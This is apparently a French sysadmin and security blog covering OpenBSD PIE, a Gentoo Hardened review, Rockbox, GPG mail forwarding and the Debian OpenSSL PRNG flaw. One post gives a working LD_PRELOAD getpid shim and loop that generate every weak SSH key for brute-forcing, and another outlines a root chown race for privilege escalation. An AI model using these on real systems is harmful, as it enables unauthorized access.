Lors de la sortie d'OpenBSD 4.4, j'avais été choqué de lire dans l'interview de Kurt Miller que leur OS n'était toujours pas capable de faire du PIE. Pour ceux à qui ça ne leur dirait rien, c'est une option du compilateur permettant de rendre le code totalement "déplacable" dans la mémoire : toutes les instructions sont relatives (comme c'est le cas dans les bibliothèques), aucune adresse n'est marquée en dure.

Ainsi, lorsqu'un processus est lançé, on peut placer toutes les sections du binaire à des adresses aléatoires. Cela permet de boucler la boucle dans toutes les protections mémoires : l'ASLR est complète, protections NX, PaX, W^X, mise en lecture seule de la GOT & Co. Autant dire que la tâche est beaucoup plus compliquée pour exploiter un buffer overflow, à vrai dire, à part un off-by-one chanceux, je ne vois pas comment exploiter ça (vous avez le droit de m'envoyer vos idées).

Bon, tout ça pour en revenir à OpenBSD qui se dit être l'OS le plus sécurisé et tout ça et annoncer aujourd'hui qu' ils commencent tout juste à avoir une toolchain complète supportant le PIE. Ca me fait penser aux affaires dans le passé où on s'est rendu compte que W^X ne s'appliquaient pas à toutes les sections, etc.

Conclusion : A false sense of security is worse than a true sense of insecurity.

Astuce du jour (ou de l'année vu ma fréquence de posts) pour vsftpd qui n'est pas capable d'écouter à la fois en IPv6 et en IPv4. La solution, c'est de savoir que c'est pas possible.

Il faut en fait passer par (x)inetd qui n'a pas de telle limitation et qui passera la main() à vsftpd en temps voulu.

Faisons une constation assez simple : si votre lecteur portable (tournant sous Rockbox bien évidemment) a un disque de grande capacité, vous l'avez chargé une fois et vous tournez avec la même musique depuis maintenant 4 mois car vous avez la flemme de faire le DJ.

On va donc emprunter une fonctionnalité qui parait-il se trouve sur Itunes : remplir son lecteur avec des fichiers complétement aléatoires.

Ce qui donne le script (zsh) suivant :

#! /bin/zsh

setopt extendedglob
MUZBUS="\/media\/muzbus"
MUSIC="/music"

muzfiles=($MUSIC/**/*mp3(.))
fillme=$(df "${(Q)MUZBUS}" | awk -F" " "/${MUZBUS}/ { print \$4*1024}")

zmodload -F zsh/stat b:zstat
i=0

while [ "$fillme" -gt "0" ]; do
    rndfile="$muzfiles[(($RANDOM % $#muzfiles))]"
    size=$(zstat +s "$rndfile")
    fillme=$((fillme - size))
    print -l -- "$i -- $rndfile"
    cp -- "$rndfile" "${(Q)MUZBUS}/music/"
    ((i++))
done

Attention ! Ne lançez pas ce script sous Debian, ils ont quelques problèmes d'aléa

Je suis en train d'évaluer quelques distributions dîtes sécurisées, et la première à laquelle je me suis intéressé est Gentoo Hardened.

C'est la distribution qui semble la plus "maintenue", avec une quantité de "paquets" importante et une base d'utilisateurs importante, sa communauté semble bien étoffée par des personnes telles que Solar Designer ou même pageexec.

De plus, pas mal de personnes que je respecte utilise cette distribution, ca doit pas être si mauvais ?

Attention, j'ai essayé de tester le truc en restant en mode non-troll, j'ai vraiment essayé, je le jure... Mes critères de jugement ont été les suivants : imaginons que je sois le sysadmin d'une moyenne entreprise avec un parc d'une trentaine de serveurs hétérogènes en architecture, modèle, technologie (une pré-image d'installation unique est donc impossible).

Le seul critère (subjectif) qui compte, c'est l'efficacité du truc.

Installation

Wahoo. Comment dire, si on vient du monde Linux (par opposition aux installs BSD), l'installation est loin d'être une promenade de santé, tout est très spartiate.

Autant il est facile d'installer une Debian en moins de 20 minutes, autant c'est impossible avec une Gentoo. Quand bien même c'était ma 3ème installation comparé à la centaine de Debian que j'ai pû mettre en place, il est impossible de faire aussi efficace qu'un Debian-Installer (mon seul référentiel).

Et puis tout irait bien si ça c'était bien passé, ça aurait été trop facile. Eh ben non! Tout a pété avec leurs maudits "Broken packages" ou "Masked package". Heureusement, je testais dans une machine virtuelle donc j'étais confortablement installé dans mon fauteuil, à une température correcte, en tee-shirt+caleçon (oui, c'est mon bleu de travail favori) et surtout, j'avais un navigateur Web pour regarder la documentation, bug reports et mailing list. Je n'imagine même pas en salle machine, coinçé entre deux rangées de baies où les ventilateurs expulsent l'air chaud dans le dos alors que je tape sur un KVM merdique mi-azerti, mi-dvorak, mi-stupide (oui ça fait 3/2 tout ça, mais les KVM ont un nombre bizarre de touches).

À l'issu de l'install, je me réconfortais en me disant qu'au moins, j'aurais vraiment le strict minimum installé.

localhost ~ # df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda1              37G  2.4G   33G   7% /
udev                   10M  100K   10M   1% /dev
shm                    60M     0   60M   0% /dev/shm

Oups. Disk usage failed! WTF? J'imagine que ce sont les sources, portage ou je ne sais quoi qui sont supprimables sans problème, mais je suis pourtant sûr d'avoir suivi le Gentoo Handbook à la lettre (sinon je m'en sortais jamais), comment est-ce possible d'en arriver à 2.4 Go !

Dans les trucs qui choquent encore, c'est que la liste des terminaux graphiques reconnus est vraiment "light", si vous vous connectez en ssh à partir d'un terminal rxvt-unicode, vous vous retrouverez avec un shell ne permettant pas d'utiliser vim, quelques shortcuts comme ^L, etc. Ca coûte rien qu'ils soient installé par défaut for god sake!

Passons à la configuration.

Configuration du système

Conf système et réseau

Le réseau... Comment on configure ce truc? Me dites pas que... Bienvenue dans les années 70, avec les adresses, routes et gateway dans des variables d'environnement sourcées par les scripts /etc/rc*.

Et si! Il est vrai que sur un serveur, c'est peut-être largement suffisant, mais si on considère le cas d'un routeur, ou d'un serveur un peu bizarre (machines virtuelles) avec des bridges et vlans c'est ingérable. On en revient alors à écrire un script qui fait tout ça, mais c'est tout autant ingérable, le /etc/network/interfaces que je connais sous Debian est irréprochable sur ce coup, en particulier quand on a lu sa doc.

La création d'utilisateur est resté BSDienne avec un useradd où il faut connaître par coeur toutes les options de ligne de commande sous peine de revenir éditer les fichiers passwd et shadow à la main. Le adduser Debian est peut-être écrit en Perl, mais il est pratique.

On voulait un système durçi, va falloir recompiler le noyau pour activer toutes les options de sécurité (PaX, Grsecurity, SELinux). C'est là où je me dis que finalement, make-kpkg, c'est vachement bien : en tant qu'administrateur conscencieux, on aurait compilé le noyau du serveur sur une autre machine et on aurait utilisé un scp tout crassou vers le serveur après ? Holly sh*t. Y a des tas de façons de se louper quelque part...

Mais en bon seigneur, j'avoue avoir bien aimé le /etc/modules.autoload.d/ qui permet de spécifier les modules à charger au boot, simple, clair, efficace.

Light is right, uh?

Ouch, quel sens du mauvais goût ! Le seul éditeur texte qui est installé par défaut est nano, ok, il y a toujours la vieille querelle vi-emacs, en tant qu'utilisateur des deux, je hais nano, passons.

Travail de base, protégeons au minimum la machine en écrivant quelques règles de firewall :

# iptables
bash: iptables: command not found

Youpi! Quand je vous disais que c'était une installation light! Y a plus qu'à downloader les sources et dépendances, heureusement que c'est pas un Windows XP SP1 branché en live sur un modem ADSL, sa durée de vie serait pas longue...

Ça permet alors de se faire une première idée du système de package, emerge. C'est un autre style : y a des smileys partout, c'est super verbeux, y a des jolis choix de couleurs (non c'est une blague).

Vu que j'y comprends rien, je me mets à lire la page de manuel et qu'est-ce qu'on peut lire : Les dépendances inverses ne sont pas gérées, si je comprends bien, je peux très bien supprimer la zlib sans qu'emerge ne s'en émeuve ? F34r.

Et on continue sur les rebondissements, on se retrouve à réaliser des workarounds tels que ceux-ci (indiqués dans le handbook) :

# emerge checkpolicy policycoreutils # FEATURES=-selinux emerge selinux-base-policy

Enfin ça, c'est ce qu'il y a marqué car je n'ai jamais réussi à déployer le bousin, j'obtiens toujours un truc comme ça :

localhost ~ # FEATURES=-selinux emerge selinux-base-policy
Calculating dependencies |
!!! All ebuilds that could satisfy ">=sys-apps/checkpolicy-1.30.12" have been masked.
!!! One of the following masked packages is required to complete your request:
- sys-apps/checkpolicy-1.34.4 (masked by: package.mask, ~amd64 keyword)
/usr/portage/profiles/default/linux/package.mask:
# Shouldn't be merging these SELinux packages on this profile
# but this keeps repoman happy since they require >=glibc-2.4
# 20061009 pebenito

- sys-apps/checkpolicy-1.34.3 (masked by: package.mask, ~amd64 keyword)
- sys-apps/checkpolicy-1.34.0 (masked by: package.mask)

For more information, see MASKED PACKAGES section in the emerge man page or 
refer to the Gentoo Handbook.
(dependency required by "sec-policy/selinux-base-policy-20070928" [ebuild])

J'ai beau eu modifier plusieurs fichiers, je tombe toujours sur une erreur fatale. Alors que j'ai suivi toute la procédure.

Je vous laisse le meilleur pour la fin, la gestion des mises à jour des fichiers de configuration expliquée par la page de manuel :

When Portage  installs a  file into  a protected directory  tree like  /etc, any
existing  files will not  be overwritten.  If a  file of  the same  name already
exists, Portage will  change the name of the to-be-installed  file from 'foo' to
'._cfg0000_foo'.   If  '._cfg0000_foo'   already  exists,   this   name  becomes
'._cfg0001_foo', etc. In this way,  existing files are not overwritten, allowing
the  administrator  to  manually  merge  the  new config  files  and  avoid  any
unexpected changes.

Soyons honnête, heureusement qu'il existe des outils qui aident comme l'indique le man :

Tools such  as dispatch-conf, cfg-update,  and etc-update are also  available to
aid in  the merging  of these  files. They provide  interactive merging  and can
auto-merge trivial changes.

Finalement, ce test qui devait être "juste" s'est transformé en un joli bash en règle alors qu'il y a plein de trucs intéressants dans cette distribution. Désolé.

Période de recrutement oblige, c'est le moment de remettre au gout du jour son CV, sauf que dégainer OpenOffice juste pour ça m'embarassait quelque peu...

Ca faisait longtemps que je cherchais une classe LaTeX belle, pratique et structurée et je l'ai enfin trouvé : moderncv, je vous laisse voir un exemple de CV.

La killer-feature, c'est le support de la bibliographie BibTeX, bien pratique pour lister les publications.

L'essayer, c'est l'adopter.

$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void) {
        return 1;
}
^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
$ LD_PRELOAD=$PWD/fakegetpid.so ssh-keygen -t rsa -N '' -f 
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
foobar already exists.
Overwrite (y/n)? y
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar

Les deux fingerprints sont identiques !

Donc si je résume, la seule graine d'aléa est en fait le PID du processus. Ce qui signifie qu'il n'existe que 2^32 bits possibilités de clef sur x86, bruteforcons... pendant 400 ans.

$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

pid_t getpid(void) {
        pid_t fakepid;
        fakepid = atoi(getenv("FAKEPID"));

        return fakepid;
}

^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
% export FAKEPID
% for FAKEPID in $(seq 0 $((2**32))); do
      LD_PRELOAD=$PWD/getpid.so ssh-keygen -t rsa -N '' -f foo.$((FAKEPID))  |grep foo@bar
  done
70:e2:6b:54:e8:46:b7:64:b7:9a:d6:a8:5d:3e:41:2f foo@bar
65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 foo@bar
fd:21:36:80:2b:df:ac:e8:09:7a:2d:62:cc:38:88:ec foo@bar
17:e5:ba:34:97:1d:2f:63:be:0a:7e:25:eb:3c:b0:fb foo@bar
bd:6f:c2:ca:3f:ad:49:d1:4b:20:ac:6f:27:35:5a:0d foo@bar
a6:9b:60:e0:ce:13:9b:68:6a:36:60:3e:60:82:62:2c foo@bar
ca:d7:2f:8f:c0:42:12:df:d2:5f:78:41:86:6e:63:0e foo@bar
29:ea:08:3a:61:91:55:e9:cb:93:46:b2:55:cc:87:e6 foo@bar
b5:6d:f1:3f:47:ce:ab:11:d1:1a:6f:0f:e6:a5:04:8d foo@bar
13:c2:e7:0f:f1:cf:a8:22:8f:7b:a4:b0:f3:83:64:25 foo@bar

Ensuite, vous loadez toutes ces clefs dans votre ssh-agent et boum!

Update@23:04: H D Moore s'en mêle et a eu la même idée, sauf que lui n'a pas oublié que les PID étaient sur 15 bits et pas sur 32 bits, soient 32 768 possibilités ce que j'avais réussi à calculer en quatre heures (j'ai pas 31 Xeon moi !).

Pour ceux que ça intéresse, je suis sur le point d'avoir les clefs pour 0 < PID < 300 000. Ok, ca n'a aucun intérêt.

OMG ! Le DSA-2008-0166 qui vient de sortir est peut-être l'un des pire jamais existé. Sa conclusion est assez claire :

It is strongly recommended that all cryptographic key material which has
been generated by OpenSSL versions starting with 0.9.8c-1 on Debian
systems is recreated from scratch.

Si on fait un interdiff avec la version précédente, on obtient ça :

diff -u openssl-0.9.8c/crypto/rand/md_rand.c openssl-0.9.8c/crypto/rand/md_rand.c
--- openssl-0.9.8c/crypto/rand/md_rand.c
+++ openssl-0.9.8c/crypto/rand/md_rand.c
@@ -271,10 +271,7 @@
                else
                        MD_Update(&m,&(state[st_idx]),j);

-/*             
- * Don't add uninitialised data.
                MD_Update(&m,buf,j);
-*/
                MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));
                MD_Final(&m,local_md);
                md_c[1]++;
diff -u openssl-0.9.8c/debian/changelog openssl-0.9.8c/debian/changelog
--- openssl-0.9.8c/debian/changelog
+++ openssl-0.9.8c/debian/changelog
@@ -1,3 +1,19 @@
+openssl (0.9.8c-4etch3) stable-security; urgency=high
+
+  * Re-introducing seeding of the random number generator.  Patch from the
+    maintainer.
+
+ -- Florian Weimer <fw@deneb.enyo.de>  Thu, 08 May 2008 01:58:40 +0200
+

WTF ? Pourquoi le maintaineur Debian modifie le code en lui-même ? Autant je comprends qu'il le fasse quand ça l'arrange pour le packaging, mais ce n'est pas son rôle de "corriger" le code tout seul comme un grand. Tout pour ça pour corriger un bug esthétique !

J'entends d'ici Theo De Raadt qui rigole.

Ubuntun, rigolez pas, vous êtes autant vulnérable.

Ce récit d'un sauvetage de système me fait un penser à la bourde qu'il m'était arrivée il y a quelques mois en cassant libssl à distance.

Dans les bonnes pratiques de l'admin, installez toujours busybox-static sur chaque serveur, vous ne le regretterez jamais...

Certains osent aussi dire qu'il faut toujours avoir une backdoor SSLifiée statique. Ca me rappelle un serveur qui avait compilé ce genre de truc sur une très ancienne version d'OpenSSL et qui n'avait jamais mis à jour sa backdoor...

De plus en plus de constructeurs s'intéressent à l'ouverture de leurs produits sur des plateformes libres, chaque semaine, nous entendons des nouvelles du type "Des spécifications ont ou vont être libérées" (Via, AMD, Intel et Xorg, etc) "Un développeur vient de rejoindre le constructeur X", etc.

Aujourd'hui, c'est un développeur qui est débauché par Atheros pour intégrer le support des célèbres cartes Wifi dans le noyau upstream. Il est vrai que la moitié des annonces d'ouverture des constructeurs ne débouchent pas forcément sur quelque chose de concret mais les derniers mois ont de quoi nous réjouir : on a de vrai drivers Xorg pour les cartes Intel et ATI, le support des cartes Wifi s'améliorent de jour en jour (les Intel avec leur nouvelles piles iwlwifi, le projet ath5k, etc.), la gestion de l'énergie fait des bonds en avant avec la publication des spécifications ACPI de certaines cartes mères, etc.

Question trollesque : Y a t'il un effet Vista ? Dans la mesure où les constructeurs sont désormais obligés de payer^Wcertifier leurs drivers et que personne ne veut de Vista, est-ce que les constructeurs n'espéraient pas faire développer leurs pilotes par la communauté pour baisser les coûts (non je ne crois plus à la philantropie) ?

Y a t'il un rapport avec une déclaration qu'avait fait Dell ou HP annonçant que leur matériel sera totalement supporté sous Linux ?

J'ai enfin recompilé tous les paquets Debian avec les fonctionnalités de "protection de code" activées (stack guard, prévention de formats strings, mise en read-only de sections ELF et génération d'un binaire PIE). Bref tout ce qui vous rend très confiant si vous tournez sous un noyau PaXé.

Puisqu'un bon parano n'utilisera pas un repository tier et recompilera ses propres packages, j'ai documenté la procédure de recompilation ici. Pour les autres qui me truste :

server$ gpg --export nico@chdir.org| sudo apt-key add -
server# echo "deb http://debian.chdir.org/debian/ stable/" >> /etc/apt/sources.list
server# apt-get update
server# apt-get upgrade

Vu que je l'utilise en production, je devrais le tenir très à jour. Si vous avez des remarques sur le document ou des idées de flags à rajouter...

Pourquoi ne pas utiliser Google Mail ? Par pure paranoïa, mais c'est trop bête de se passer de plusieurs gigaoctets d'espace libre non ? Autant s'en servir comme mécanisme de sauvegarde, avec l'aide de procmail, GnuPG et MIME-construct on peut faire tout ce qu'on veut

Pour forwarder les mails que vous recevez vers un autre compte, vous pouvez tout bêtement utiliser procmail avec une règle "pipant" les messages dans GnuPG comme cela :

:0c
| gpg -r mamanours@gmail.com --encrypt | mail -s "Bla" mamanours@gmail.com

Le problème est que vous recevez les mails chiffrés, certes, mais complétement détruits, votre MUA ne l'interprète plus comme un mail mais comme une suite d'octets au déchiffrement, donc si le message est codé en Quoted Printable, il ressemble plus ou moins à de la boue au final, et je ne vous parle même pas de la tête que font vos pièces jointes qui ne sont plus manipulables sans reconstruire les parties MIME avec un logiciel tier.

Non, la solution, c'est d'implémenter la même logique qu'un vrai MUA : forwarder les mails avec du MIME, et chiffrer le résultat avec du MIME encore :

#! /bin/bash

TMPCLAIR="$(mktemp)"
FINALADDR="nico@chdir.org"
TXTINTRO="$HOME/.etc/introduction_forward-me-gpgified"

### ALWAYS wipe the $TMP
trap "wipe -qsf -- $TMPCLAIR" TERM QUIT EXIT

mime-construct --part-header 'Content-Disposition: inline' --type 'message/rfc822' --file - --subpart --output > "$TMPCLAIR"

gpg -r "$FINALADDR" --encrypt < "$TMPCLAIR" | mime-construct --multipart     \
                    'multipart/encrypted; protocol="application/pgp-encrypted"' \
      --type 'application/pgp-encrypted' --file "$TXTINTRO" \
      --type 'application/octet-stream' --file -            \
      --to "$FINALADDR" --subject "$RANDOM"

Avec un fichier $HOME/.etc/introduction_forward-me-gpgified contenant juste :

Version: 1

Et votre règle Procmail ressemblant à :

:0c
| forward-me-gpged-mail

Désormais, lorsque votre MUA ouvre un mail forwardé, il interprète correctement les en-têtes du message (codage, chiffrement s'il y en a encore, etc.) et normalement, les pièces jointes sont directement accessibles (pas eu le temps de tester).

Note: Donc pour ceux qui ont le mauvais goût de forwarder leurs mails corporate vers Gmail, utilisez au moins quelque chose dans ce goût là!

Mais pourquoi je ne l'ai pas fait avant ? C'est la question que je me pose depuis que j'ai redémarré mon Sandisk Sansa e280 après avoir mis un firmware Rockbox à la place du truc officiel qui était très... "girly" pour rester poli.

Désormais l'interface est réactive, tout est configurable (par exemple, pourquoi est-ce que l'ancien tenait tant à garder la roulette allumée ?), y a plein de jeux et d'applications (par exemple un métronome ! Inutile donc indispensable non ?) et je n'ai plus de bugs. Le plus difficile en fait, c'est d'oublier ses réflexes, oublier le fait que l'interface va réagir en 3 ms au lieu de 30 et donc ne pas anticiper ce qu'on compte faire !

En plus, l'installation est triviale en suivant le manuel Sansa e200 ! Si votre lecteur est supporté, sautez le pas, ca vaut le coup ! Ok, je dis ça mais j'ai pas encore vérifié la durée de la batterie de 15h30 annoncée (d'après les spécifications commerciales de SanDisk, ca devrait tenir ~20h), mais il semblent que les développeurs tentent de l'optimiser encore plus.

Si vous voulez plus de détails, allez voir son status sur le Wiki et si vous cherchez un lecteur MP3, faîtes un tour sur le guide d'achat listant comment les modèles sont supportés.

Petit moment de nostalgie lorsque j'ai voulu tester Weave, cette extension, prometteuse, nécessite Firefox 3 (beta), ça m'a alors rappelé l'époque où on attendait fébrilement chaque Milestone du projet Mozilla. Ces gros binaires qui apportaient à chaque fois des tas de nouvelles fonctionnalités (ou des bugs) étaient toujours attendus avec impatience. Ca c'était sympa, surtout avec une connexion 56K!

C'était un peu Noël à chaque release. C'était beau.

Et puis toute cette tristesse pour rien puisqu'il n'y a pas de binaire de Firefox3 pour AMD64 de prêt et j'ai pas envie d'installer tous les paquets ia32-* juste pour 4 minutes de test. Vous me raconterez ?

En redémarrant mon laptop, j'ai eu la chance de voir un beau message qui ressemblait à ça :

primary superblock features different from backup, check forced

Suivi d'un fsck qui a eu la bonne idée de faire un segfault lorsqu'il a terminé, rebootant le bousin.

Même s'il était tôt le matin, je me suis tout de suite rappelé que quelques jours avant, j'avais mis à jour les outils e2fs & Co. Le deuxième reboot a été un grand moment de solitude... Mais s'est passé sans problème.

Visiblement, tout ça (sauf le segfault qui ne s'est pas reproduit sur une deuxième machine) est normal, on peut être rassuré par Theodore Tso lui-même dans un rapport de bug.

Toujours est-il que cela signifie que si vous avez des serveurs avec de très gros disques en ext[23]fs, il va falloir prévoir un downtime assez important pour faire le fsck.

Comme quoi ca fait toujours plaisir de lire les pages de manuel sans but précis, j'ai ainsi pû rencontrer l'option archive disponible dans git et également dans hg.

Cette option, comme son nom ne l'indique pas, permet de faire des archives du repository courant, ou d'une révision spécifique, etc. Cela permet de simplifier les horreurs qu'on peut mettre dans son Makefile pour la célèbre cible dist, cf le diff suivant que je suis en train d'appliquer un peu partout :

diff --git a/Makefile b/Makefile
index 458b46b..3b6e9e8 100644
--- a/Makefile
+++ b/Makefile
@@ -4,8 +4,7 @@

     dist:
-       -make clean
-       (cd .. && tar --exclude=.git -zcvf bla.tgz bla/)
+      git archive --prefix="$(shell basename $(PWD))/" --format=tar HEAD | gzip > "../$(shell basename $(PWD)).tgz"

Ca fait plaisir, si git pouvait avoir également le support des tarballs gziffiées et bz2ifiées comme son copain hg, ca serait parfait.

Alors là, ca parait tellement gros... Il aura quand même fallu plusieurs années pour s'en rendre compte... Et par les gens de Microsoft en plus

C'est avec plaisir qu'après trois semaines aux États-Unis, je vois que l'appel à soumission du SSTIC est paru. Et ce qui fait le plus plaisir, c'est que je sois dans le Comité de Programme !

D'après tous les commentaires que j'avais pû lire, le SSTIC07 était le meilleur jamais réalisé donc j'imagine que la sélection des soumissions de cette année ne va pas être des plus aisés.

Merci à la confiance des membres du Comité d'Organisation !

Tiens, le paquet sawfish (le window manager que j'utilise depuis quatre ans) vient d'être mis à jour après upgrade. C'est étonnant car son développement est arrêté depuis bien longtemps, il était juste maintenu de temps en temps.

Le changelog du paquet Debian donne la bonne nouvelle :

   sawfish (1:1.3.1-1) unstable; urgency=low

    * New upstream release, by a new upstream maintainer team.
          - Update homepage URL.

En effet, la page officielle de sawfish est désormais quelque chose qui date de moins de dix ans Question marketing, du beau boulot a été fait, mais au niveau du code, j'attends encore avant de m'exciter car cette nouvelle release ne diffère pas vraiment d'une mise à jour de maintenance.

Il n'y a aucun nouveau script ou thème ajouté, juste un regroupement d'anciennes ressources sur ce nouveau site Web 2.0. Je suis impatient de voir une communauté active derrière cet excellent gestionnaire de fenêtre, j'étais presque sur le point d'aller voir ailleurs, du côté d'OpenBox.

L'administration système est sûrement le boulot le plus difficile, techniquement comme humainement parlant, car vous devez connaître tous les outils utilisés, les effets de bord, les impacts sur la sécurité des données et je ne parle même pas de l'horreur des sauvegardes ou de l'enfer des mises à jour.

Enfin, ça, c'est la théorie, car dans la pratique, l'équipe d'administration se contente... d'administrer. À part les vieux, on rencontre de moins en moins d'administrateurs barbus, qui maîtrisent un langage de script ou les arcanes de leurs MTA. C'est pour ça qu'aujourd'hui, si on veut compromettre un réseau, il est beaucoup plus efficace de regarder les scripts écrits par l'administrateur que faire de la veille de vulnérabilité pour Apache.

Un exemple ? Facile, voici un extrait de script executé (sous uid=0) à chaque fin de session utilisateur dans une université parisienne :

# ... plusieurs centaines de lignes de bullshit
chown -R $USER:$GROUP $HOME_USER/
chmod -R u-s,g-s,o-t  $HOME_USER/

Tout ça, c'est de mémoire mais le code était bien pire.

Avez vous vu le problème ? Sachant que tous les professeurs, élèves et même les administrateurs avaient toujours un répertoire tmp/ ou incoming/ en World-Writable pour recevoir les comptes-rendus ou travaux pratiques des élèves.

La race condition se passait les doigts dans le nez malgré le quota de 10 Mo avec la création de milliers de répertoires imbriqués. Vous posiez vos billes et paf, vous n'aviez qu'à attendre la déconnexion de la victime (facile puisque les droits de reboot n'étaient pas révoqués).

Et je parle même pas des problèmes de non quotage des variables, des interfaces Web de changements de mot de passe, du répertoire contenant les logs Apache qui est en écriture pour les users, etc. Tout ce qui est homemade est toujours le premier truc à analyser... Bonne chasse

Ah bah c'est pas trop tôt, la recherche Google sur le mot ilty donne enfin en premier résultat le lien vers la page d'ilty. Cela a été acceleré par l'ajout d'ilty dans la liste des outils de sécurité du VOIPSA (crédit à News0ft qui m'a fait de la pub).

Visiblement, c'était pas inutile car ça évitera, je l'espère, que des articles sur la sécurité VoIP disent qu'ilty n'est ni ouvert, ni distribué, ni trouvable sur Internet, ni développé. Bon, sur ce dernier point, c'est pas tellement faux, ca fait deux ans que je dois faire une release...